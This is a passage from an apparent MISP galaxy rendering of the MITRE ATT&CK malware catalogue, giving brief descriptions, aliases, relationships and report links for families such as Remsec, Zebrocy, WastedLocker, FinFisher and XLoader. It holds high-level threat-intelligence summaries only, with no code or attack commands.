- EvilGrab

View relationships graph

EvilGrab - S0152 has relationships with:

- similar: misp-galaxy:malpedia="EvilGrab" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="EvilGrab" with estimative-language:likelihood-probability="likely"

Table 11233. Table References

Links
https://attack.mitre.org/software/S0152
https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf

Remsec - S0125

[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)

The tag is: *misp-galaxy:mitre-malware="Remsec - S0125"*

Remsec - S0125 is also known as:

- Remsec
- Backdoor.Remsec
- ProjectSauron

View relationships graph

Remsec - S0125 has relationships with:

- similar: misp-galaxy:malpedia="Remsec" with estimative-language:likelihood-probability="likely"

Table 11234. Table References

Links
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets
https://attack.mitre.org/software/S0125
https://securelist.com/faq-the-projectsauron-apt/75533/

Zebrocy - S0251

[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020)

The tag is: *misp-galaxy:mitre-malware="Zebrocy - S0251"*

Zebrocy - S0251 is also known as:

- Zebrocy
- Zekapab

Table 11235. Table References

Links
https://attack.mitre.org/software/S0251

https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b
https://www.accenture.com/t20181129T203820Z*w*/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50
https://www.cyberscoop.com/apt28-brexit-phishing-accenture/

ComRAT - S0126

[ComRAT](https://attack.mitre.org/software/S0126) is a second stage implant suspected of being a descendant of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). The first version of [ComRAT](https://attack.mitre.org/software/S0126) was identified in 2007, but the tool has undergone substantial development for many years since.(Citation: Symantec Waterbug)(Citation: NorthSec 2015 GData Uroburos Tools)(Citation: ESET ComRAT May 2020)

The tag is: *misp-galaxy:mitre-malware="ComRAT - S0126"*

ComRAT - S0126 is also known as:

- ComRAT

View relationships graph

ComRAT - S0126 has relationships with:

- similar: misp-galaxy:rat="ComRAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"

Table 11236. Table References

Links
https://attack.mitre.org/software/S0126
https://docplayer.net/101655589-Tools-used-by-the-uroburos-actors.html
https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1
https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf

POORAIM - S0216

[POORAIM](https://attack.mitre.org/software/S0216) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="POORAIM - S0216"*

POORAIM - S0216 is also known as:

- POORAIM

View relationships graph

POORAIM - S0216 has relationships with:

- similar: misp-galaxy:tool="POORAIM" with estimative-language:likelihood-probability="likely"

Table 11237. Table References

Links
https://attack.mitre.org/software/S0216
https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf

Catchamas - S0261

[Catchamas](https://attack.mitre.org/software/S0261) is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)

The tag is: *misp-galaxy:mitre-malware="Catchamas - S0261"*

Catchamas - S0261 is also known as:

- Catchamas

Table 11238. Table References

Links
https://attack.mitre.org/software/S0261
https://web.archive.org/web/20190508165711/https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99

JumbledPath - S1206

[JumbledPath](https://attack.mitre.org/software/S1206) is a custom-built utility written in GO that has been used by [Salt Typhoon](https://attack.mitre.org/groups/G1045) since at least 2024 for packet capture on remote Cisco devices. [JumbledPath](https://attack.mitre.org/software/S1206) is compiled as an ELF binary using x86-64 architecture which makes it potentially useable across

Linux operating systems and network devices from multiple vendors.(Citation: Cisco Salt Typhoon FEB 2025)

The tag is: *misp-galaxy:mitre-malware="JumbledPath - S1206"*

JumbledPath - S1206 is also known as:

- JumbledPath

Table 11239. Table References

Links
https://attack.mitre.org/software/S1206
https://blog.talosintelligence.com/salt-typhoon-analysis/

Komplex - S0162

[Komplex](https://attack.mitre.org/software/S0162) is a backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be developed in a similar manner to [XAgentOSX](https://attack.mitre.org/software/S0161) (Citation: XAgentOSX 2017) (Citation: Sofacy Komplex Trojan).

The tag is: *misp-galaxy:mitre-malware="Komplex - S0162"*

Komplex - S0162 is also known as:

- Komplex

View relationships graph

Komplex - S0162 has relationships with:

- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"

Table 11240. Table References

Links
https://attack.mitre.org/software/S0162
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/

WastedLocker - S0612

[WastedLocker](https://attack.mitre.org/software/S0612) is a ransomware family attributed to [Indrik Spider](https://attack.mitre.org/groups/G0119) that has been used since at least May 2020. [WastedLocker](https://attack.mitre.org/software/S0612) has been used against a broad variety of sectors, including manufacturing, information technology, and media.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020)

The tag is: *misp-galaxy:mitre-malware="WastedLocker - S0612"*

WastedLocker - S0612 is also known as:

- WastedLocker

Table 11241. Table References

Links
https://attack.mitre.org/software/S0612
https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us
https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/

Mongall - S1026

[Mongall](https://attack.mitre.org/software/S1026) is a backdoor that has been used since at least 2013, including by [Aoqin Dragon](https://attack.mitre.org/groups/G1007).(Citation: SentinelOne Aoqin Dragon June 2022)

The tag is: *misp-galaxy:mitre-malware="Mongall - S1026"*

Mongall - S1026 is also known as:

- Mongall

Table 11242. Table References

Links
https://attack.mitre.org/software/S1026
https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/

BBSRAT - S0127

[BBSRAT](https://attack.mitre.org/software/S0127) is malware with remote access tool functionality

that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)

The tag is: *misp-galaxy:mitre-malware="BBSRAT - S0127"*

BBSRAT - S0127 is also known as:

- BBSRAT

View relationships graph

BBSRAT - S0127 has relationships with:

- similar: misp-galaxy:malpedia="BBSRAT" with estimative-language:likelihood-probability="likely"

Table 11243. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/
https://attack.mitre.org/software/S0127

KEYMARBLE - S0271

[KEYMARBLE](https://attack.mitre.org/software/S0271) is a Trojan that has reportedly been used by the North Korean government. (Citation: US-CERT KEYMARBLE Aug 2018)

The tag is: *misp-galaxy:mitre-malware="KEYMARBLE - S0271"*

KEYMARBLE - S0271 is also known as:

- KEYMARBLE

Table 11244. Table References

Links
https://attack.mitre.org/software/S0271
https://www.us-cert.gov/ncas/analysis-reports/AR18-221A

SHUTTERSPEED - S0217

[SHUTTERSPEED](https://attack.mitre.org/software/S0217) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="SHUTTERSPEED - S0217"*

SHUTTERSPEED - S0217 is also known as:

- SHUTTERSPEED

View relationships graph

SHUTTERSPEED - S0217 has relationships with:

- similar: misp-galaxy:tool="SHUTTERSPEED" with estimative-language:likelihood-probability="likely"

Table 11245. Table References

Links
https://attack.mitre.org/software/S0217
https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf

XLoader - S1207

[XLoader](https://attack.mitre.org/software/S1207) is an infostealer malware in use since at least 2016. Previously known and sometimes still referred to as Formbook, [XLoader](https://attack.mitre.org/software/S1207) is a Malware as a Service (MaaS) known for stealing data from web browsers, email clients and File Transfer Protocol (FTP) applications.(Citation: Zscaler XLoader 2025)(Citation: ANY.RUN XLoader 2023)(Citation: CheckPoint XLoader 2022)(Citation: Acronis XLoader 2021)(Citation: Google XLoader 2017)

The tag is: *misp-galaxy:mitre-malware="XLoader - S1207"*

XLoader - S1207 is also known as:

- XLoader
- Formbook

Table 11246. Table References

Links
https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/
https://attack.mitre.org/software/S1207
https://cloud.google.com/blog/topics/threat-intelligence/formbook-malware-distribution-campaigns/
https://research.checkpoint.com/2022/xloader-botnet-find-me-if-you-can/
https://www.acronis.com/en-us/cyber-protection-center/posts/trojan-as-a-service-from-formbook-to-xloader/
https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-versions-6-and-7-part-1

Reaver - S0172

[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild

since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel](https://attack.mitre.org/techniques/T1218/002) items.(Citation: Palo Alto Reaver Nov 2017)

The tag is: *misp-galaxy:mitre-malware="Reaver - S0172"*

Reaver - S0172 is also known as:

- Reaver

View relationships graph

Reaver - S0172 has relationships with:

- similar: misp-galaxy:malpedia="Reaver" with estimative-language:likelihood-probability="likely"

Table 11247. Table References

Links
https://attack.mitre.org/software/S0172
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/

BADNEWS - S0128

[BADNEWS](https://attack.mitre.org/software/S0128) is malware that has been used by the actors responsible for the [Patchwork](https://attack.mitre.org/groups/G0040) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon) (Citation: TrendMicro Patchwork Dec 2017)

The tag is: *misp-galaxy:mitre-malware="BADNEWS - S0128"*

BADNEWS - S0128 is also known as:

- BADNEWS

Table 11248. Table References

Links
https://attack.mitre.org/software/S0128
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

SLOWDRIFT - S0218

[SLOWDRIFT](https://attack.mitre.org/software/S0218) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="SLOWDRIFT - S0218"*

SLOWDRIFT - S0218 is also known as:

- SLOWDRIFT

View relationships graph

SLOWDRIFT - S0218 has relationships with:

- similar: misp-galaxy:tool="SLOWDRIFT" with estimative-language:likelihood-probability="likely"

Table 11249. Table References

Links
https://attack.mitre.org/software/S0218
https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf

Dok - S0281

[Dok](https://attack.mitre.org/software/S0281) is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user's network traffic (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)).(Citation: objsee mac malware 2017)(Citation: hexed osx.dok analysis 2019)(Citation: CheckPoint Dok)

The tag is: *misp-galaxy:mitre-malware="Dok - S0281"*

Dok - S0281 is also known as:

- Dok
- Retefe

Table 11250. Table References

Links
https://attack.mitre.org/software/S0281
https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/
https://objective-see.com/blog/blog_0x25.html
https://web.archive.org/web/20221007144948/http://www.hexed.in/2019/07/osxdok-analysis.html

FinFisher - S0182

[FinFisher](https://attack.mitre.org/software/S0182) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://attack.mitre.org/software/S0176). (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)

The tag is: *misp-galaxy:mitre-malware="FinFisher - S0182"*

FinFisher - S0182 is also known as:

- FinFisher
- FinSpy

View relationships graph

FinFisher - S0182 has relationships with:

- similar: misp-galaxy:malpedia="FinFisher RAT" with estimative-language:likelihood-probability="likely"

Table 11251. Table References

Links
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf
https://attack.mitre.org/software/S0182
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/
https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html
https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html

FjordPhantom - S1208

[FjordPhantom](https://attack.mitre.org/software/S1208) is a malicious Android application first discovered in September 2024 with targets in Southeast Asia, specifically Indonesia, Thailand, and Vietnam. [FjordPhantom](https://attack.mitre.org/software/S1208) was distributed through email and messaging applications. Once installed, the application launches a virtualization solution to steal important information, such as bank accounts, and to manipulate the user interface. The malicious activity from the virtualization solution runs alongside legitimate banking applications.(Citation: Promon FjordPhantom Oct2024)

The tag is: *misp-galaxy:mitre-malware="FjordPhantom - S1208"*

FjordPhantom - S1208 is also known as:

- FjordPhantom

Table 11252. Table References

Links
https://attack.mitre.org/software/S1208
https://promon.io/security-news/fjordphantom-android-malware

Sunbird - S1082

[Sunbird](https://attack.mitre.org/software/S1082) is one of two mobile malware families known to be used by the APT [Confucius](https://attack.mitre.org/groups/G0142). Analysis suggests that [Sunbird](https://attack.mitre.org/software/S1082) was first active in early 2017. While [Sunbird](https://attack.mitre.org/software/S1082) and [Hornbill](https://attack.mitre.org/software/S1077) overlap in core capabilities, [Sunbird](https://attack.mitre.org/software/S1082) has a more extensive set of malicious features.(Citation: lookout_hornbill_sunbird_0221)

The tag is: *misp-galaxy:mitre-malware="Sunbird - S1082"*

Sunbird - S1082 is also known as:

- Sunbird

Table 11253. Table References

Links
https://attack.mitre.org/software/S1082
https://www.lookout.com/blog/lookout-discovers-novel-confucius-apt-android-spyware-linked-to-india-pakistan-conflict

WINERACK - S0219

[WINERACK](https://attack.mitre.org/software/S0219) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="WINERACK - S0219"*

WINERACK - S0219 is also known as:

- WINERACK

View relationships graph

WINERACK - S0219 has relationships with:

- similar: misp-galaxy:tool="WINERACK" with estimative-language:likelihood-probability="likely"

Table 11254. Table References

Links
https://attack.mitre.org/software/S0219
https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf

PJApps - S0291

[PJApps](https://attack.mitre.org/software/S0291) is an Android malware family. (Citation: Lookout-EnterpriseApps)

The tag is: *misp-galaxy:mitre-malware="PJApps - S0291"*

Table 11255. Table References

Links
https://attack.mitre.org/software/S0291
https://blog.lookout.com/blog/2016/05/25/spoofed-apps/

Escobar - S1092

[Escobar](https://attack.mitre.org/software/S1092) is an Android banking trojan, first detected in March 2021, believed to be a new variant of AbereBot.(Citation: Bleeipng Computer Escobar)

The tag is: *misp-galaxy:mitre-malware="Escobar - S1092"*

Escobar - S1092 is also known as:

- Escobar

Table 11256. Table References

Links
https://attack.mitre.org/software/S1092
https://www.bleepingcomputer.com/news/security/android-malware-escobar-steals-your-google-authenticator-mfa-codes/

DCSrv - S1033

[DCSrv](https://attack.mitre.org/software/S1033) is destructive malware that has been used by [Moses Staff](https://attack.mitre.org/groups/G1009) since at least September 2021. Though [DCSrv](https://attack.mitre.org/software/S1033) has ransomware-like capabilities, [Moses Staff](https://attack.mitre.org/groups/G1009) does not demand ransom or offer a decryption key.(Citation: Checkpoint MosesStaff Nov 2021)

The tag is: *misp-galaxy:mitre-malware="DCSrv - S1033"*

DCSrv - S1033 is also known as:

- DCSrv

Table 11257. Table References

Links
https://attack.mitre.org/software/S1033
https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/

RuMMS - S0313

[RuMMS](https://attack.mitre.org/software/S0313) is an Android malware family. (Citation: FireEye-RuMMS)

The tag is: *misp-galaxy:mitre-malware="RuMMS - S0313"*

Table 11258. Table References

Links
https://attack.mitre.org/software/S0313
https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html

HotCroissant - S0431

[HotCroissant](https://attack.mitre.org/software/S0431) is a remote access trojan (RAT) attributed by U.S. government entities to malicious North Korean government cyber activity, tracked collectively as HIDDEN COBRA.(Citation: US-CERT HOTCROISSANT February 2020) [HotCroissant](https://attack.mitre.org/software/S0431) shares numerous code similarities with [Rifdoor](https://attack.mitre.org/software/S0433).(Citation: Carbon Black HotCroissant April 2020)

The tag is: *misp-galaxy:mitre-malware="HotCroissant - S0431"*

HotCroissant - S0431 is also known as:

- HotCroissant

Table 11259. Table References

Links
https://attack.mitre.org/software/S0431
https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/
https://www.us-cert.gov/ncas/analysis-reports/ar20-045d

Downdelph - S0134

[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between

2013 and 2015. (Citation: ESET Sednit Part 3)

The tag is: *misp-galaxy:mitre-malware="Downdelph - S0134"*

Downdelph - S0134 is also known as:

- Downdelph
- Delphacy

View relationships graph

Downdelph - S0134 has relationships with:

- similar: misp-galaxy:tool="Downdelph" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Downdelph" with estimative-language:likelihood-probability="likely"

Table 11260. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf
https://attack.mitre.org/software/S0134

Flame - S0143

[Flame](https://attack.mitre.org/software/S0143) is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)

The tag is: *misp-galaxy:mitre-malware="Flame - S0143"*

Flame - S0143 is also known as:

- Flame
- Flamer
- sKyWIper

View relationships graph

Flame - S0143 has relationships with:

- similar: misp-galaxy:tool="Flame" with estimative-language:likelihood-probability="likely"

Table 11261. Table References

Links
https://attack.mitre.org/software/S0143
https://securelist.com/the-flame-questions-and-answers-51/34344/

https://www.crysys.hu/publications/files/skywiper.pdf
https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache

StrifeWater - S1034

[StrifeWater](https://attack.mitre.org/software/S1034) is a remote-access tool that has been used by [Moses Staff](https://attack.mitre.org/groups/G1009) in the initial stages of their attacks since at least November 2021.(Citation: Cybereason StrifeWater Feb 2022)

The tag is: *misp-galaxy:mitre-malware="StrifeWater - S1034"*

StrifeWater - S1034 is also known as:

- StrifeWater

Table 11262. Table References

Links
https://attack.mitre.org/software/S1034
https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations

Xbash - S0341

[Xbash](https://attack.mitre.org/software/S0341) is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. [Xbash](https://attack.mitre.org/software/S0341) was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.(Citation: Unit42 Xbash Sept 2018)

The tag is: *misp-galaxy:mitre-malware="Xbash - S0341"*

Xbash - S0341 is also known as:

- Xbash

Table 11263. Table References

Links
https://attack.mitre.org/software/S0341
https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/

Final1stspy - S0355

[Final1stspy](https://attack.mitre.org/software/S0355) is a dropper family that has been used to deliver [DOGCALL](https://attack.mitre.org/software/S0213).(Citation: Unit 42 Nokki Oct 2018)

The tag is: *misp-galaxy:mitre-malware="Final1stspy - S0355"*

Final1stspy - S0355 is also known as:

- Final1stspy

Table 11264. Table References

Links
https://attack.mitre.org/software/S0355
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/

AvosLocker - S1053

[AvosLocker](https://attack.mitre.org/software/S1053) is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, [AvosLocker](https://attack.mitre.org/software/S1053) had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.(Citation: Malwarebytes AvosLocker Jul 2021)(Citation: Trend Micro AvosLocker Apr 2022)(Citation: Joint CSA AvosLocker Mar 2022)

The tag is: *misp-galaxy:mitre-malware="AvosLocker - S1053"*

AvosLocker - S1053 is also known as:

- AvosLocker

Table 11265. Table References

Links
https://attack.mitre.org/software/S1053
https://www.ic3.gov/Media/News/2022/220318.pdf
https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker

Cannon - S0351

[Cannon](https://attack.mitre.org/software/S0351) is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. (Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)

The tag is: *misp-galaxy:mitre-malware="Cannon - S0351"*

Cannon - S0351 is also known as:

- Cannon

Table 11266. Table References

Links
https://attack.mitre.org/software/S0351
https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/

HIDEDRV - S0135

[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit used by [APT28](https://attack.mitre.org/groups/G0007). It has been deployed along with [Downdelph](https://attack.mitre.org/software/S0134) to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)

The tag is: *misp-galaxy:mitre-malware="HIDEDRV - S0135"*

HIDEDRV - S0135 is also known as:

- HIDEDRV

Table 11267. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf
https://attack.mitre.org/software/S0135
https://web.archive.org/web/20180202163754/http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf

LiteDuke - S0513

[LiteDuke](https://attack.mitre.org/software/S0513) is a third stage backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016), primarily in 2014-2015. [LiteDuke](https://attack.mitre.org/software/S0513) used the same dropper as [PolyglotDuke](https://attack.mitre.org/software/S0518), and was found on machines also compromised by [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)

The tag is: *misp-galaxy:mitre-malware="LiteDuke - S0513"*

LiteDuke - S0513 is also known as:

- LiteDuke

Table 11268. Table References

Links
https://attack.mitre.org/software/S0513
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf

DualToy - S0315

[DualToy](https://attack.mitre.org/software/S0315) is Windows malware that installs malicious applications onto Android and iOS devices connected over USB. (Citation: PaloAlto-DualToy)

The tag is: *misp-galaxy:mitre-malware="DualToy - S0315"*

View relationships graph

DualToy - S0315 has relationships with:

- similar: misp-galaxy:malpedia="DualToy (Android)" with estimative-language:likelihood-probability="likely"

Table 11269. Table References

Links
https://attack.mitre.org/software/S0315
https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

Grandoreiro - S0531

[Grandoreiro](https://attack.mitre.org/software/S0531) is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. [Grandoreiro](https://attack.mitre.org/software/S0531) has confirmed victims in Brazil, Mexico, Portugal, and Spain.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)

The tag is: *misp-galaxy:mitre-malware="Grandoreiro - S0531"*

Grandoreiro - S0531 is also known as:

- Grandoreiro

Table 11270. Table References

Links
https://attack.mitre.org/software/S0531
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/
https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/

RedLeaves - S0153

[RedLeaves](https://attack.mitre.org/software/S0153) is a malware family used by [menuPass](https://attack.mitre.org/groups/G0045). The code overlaps with [PlugX](https://attack.mitre.org/software/S0013) and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)

The tag is: *misp-galaxy:mitre-malware="RedLeaves - S0153"*

RedLeaves - S0153 is also known as:

- RedLeaves
- BUGJUICE

View relationships graph

RedLeaves - S0153 has relationships with:

- similar: misp-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="RedLeaves" with estimative-language:likelihood-probability="likely"

Table 11271. Table References

Links
https://attack.mitre.org/software/S0153
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf
https://x.com/ItsReallyNick/status/850105140589633536

Snip3 - S1086

[Snip3](https://attack.mitre.org/software/S1086) is a sophisticated crypter-as-a-service that has been used since at least 2021 to obfuscate and load numerous strains of malware including [AsyncRAT](https://attack.mitre.org/software/S1087), [Revenge RAT](https://attack.mitre.org/software/S0379), [Agent Tesla](https://attack.mitre.org/software/S0331), and [NETWIRE](https://attack.mitre.org/software/S0198).(Citation: Morphisec Snip3 May 2021)(Citation: Telefonica Snip3 December 2021)

The tag is: *misp-galaxy:mitre-malware="Snip3 - S1086"*

Snip3 - S1086 is also known as:

- Snip3

Table 11272. Table References

Links
https://attack.mitre.org/software/S1086
https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader
https://telefonicatech.com/blog/snip3-investigacion-malware

USBStealer - S0136

[USBStealer](https://attack.mitre.org/software/S0136) is malware that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)

The tag is: *misp-galaxy:mitre-malware="USBStealer - S0136"*

USBStealer - S0136 is also known as:

- USBStealer
- USB Stealer
- Win32/USBStealer

View relationships graph

USBStealer - S0136 has relationships with:

- similar: misp-galaxy:tool="USBStealer" with estimative-language:likelihood-probability="likely"

Table 11273. Table References

Links
http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/
https://attack.mitre.org/software/S0136
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/

Chaes - S0631

[Chaes](https://attack.mitre.org/software/S0631) is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. [Chaes](https://attack.mitre.org/software/S0631) was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.(Citation: Cybereason Chaes Nov 2020)

The tag is: *misp-galaxy:mitre-malware="Chaes - S0631"*

Chaes - S0631 is also known as:

- Chaes

Table 11274. Table References

Links
https://attack.mitre.org/software/S0631
https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf

Janicab - S0163

[Janicab](https://attack.mitre.org/software/S0163) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)

The tag is: *misp-galaxy:mitre-malware="Janicab - S0163"*

Janicab - S0163 is also known as:

- Janicab

View relationships graph

Janicab - S0163 has relationships with:

- similar: misp-galaxy:tool="Janicab" with estimative-language:likelihood-probability="likely"

Table 11275. Table References

Links
https://attack.mitre.org/software/S0163
https://web.archive.org/web/20230331162455/https://www.thesafemac.com/new-signed-malware-called-janicab/

STARWHALE - S1037

